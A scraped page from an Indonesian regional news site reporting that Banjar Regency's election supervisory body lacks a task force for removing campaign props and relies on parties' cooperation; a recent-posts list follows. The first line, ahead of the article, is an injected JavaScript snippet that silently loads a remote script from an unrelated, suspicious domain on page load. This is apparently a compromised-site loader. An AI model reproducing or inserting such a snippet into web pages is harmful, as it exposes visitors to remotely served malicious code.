(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Satgas Penertiban APK Tak Ada, Bawaslu Banjar Andalkan Kesadaran Parpol


MARTAPURA, Meminimalisir pelanggaran Alat Peraga Kampanye (APK) karena belum terbentuk tim Satgas penertiban APK di Kabupaten Banjar, Bawaslu Banjar melakukan koordinasi ke beberapa partai.

Kordinator Divisi Humas dan Hubal Bawaslu Kabupaten Banjar Hairul Fallah mengatakan, walaupun sekarang masih belum terbentuk tim Satgas, tidak berarti Bawaslu Banjar berdiam diri. Pihaknya telah melakukan silaturahmi ke semua partai untuk sosialisasi tentang aturan pemasangan APK yang harus ditaati peserta Pemilu.

“Kegiatan ini kita lakukan berdasarkan Undang-Undang nomor 7 tahun 2017 tentang pendidikan politik ke masyarakat, yang menjadi cara kami saat ini untuk mengantisipasi pelanggaran APK,” akunya.

Hasil silaturahmi Bawaslu ke beberapa partai beberapa waktu lalu, cukup direspon dengan baik oleh partai-partai peserta Pemilu. “Alangah elok apabila partai sendiri yang menertibkan APK-nya masing-masing, sehingga tidak ada yang dirugikan,” ucapnya.

Perlu diketahui sebelumnya, maraknya atribut kampanye Caleg di Kabupaten Banjar hingga saat ini belum tersentuh penertiban. Pihak terkait, berdalih terbentur anggaran. Hairul Falah mengatakan, terkait tim gabungan yang melibatkan antara Bawaslu, KPU, Satpol PP Banjar, Kesbangpol, Dishub, Kepolisian hingga TNI di Kabupaten Banjar diakui hingga kini belum terbentuk. Masih dalam tahap usulan, meskipun pelanggaran APK (Alat Peraga Kampanye) di wilayah Kabupaten Banjar diakui marak.

Datanya, hingga akhir Januari sudah didapati 168 pelanggaran APK dari berbagai tingkatan peserta Pemilu. Dari jumlah tersebut, 148 diantaranya sudah ditanggapi oleh peserta Pemilu.

“Untuk tim penertiban, saat ini memang kita terkendala. Belum terbentuk, salah satunya karena terbentur anggaran. Soalnya mekanisme anggaran bukan ranah kami, karena kita bukan eksekutor, kita hanya melakukan pengawasan hingga kordinasi. Kita hanya mengusulkan pembentukan tim,” dalihnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

11 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

12 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

12 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

19 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

20 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.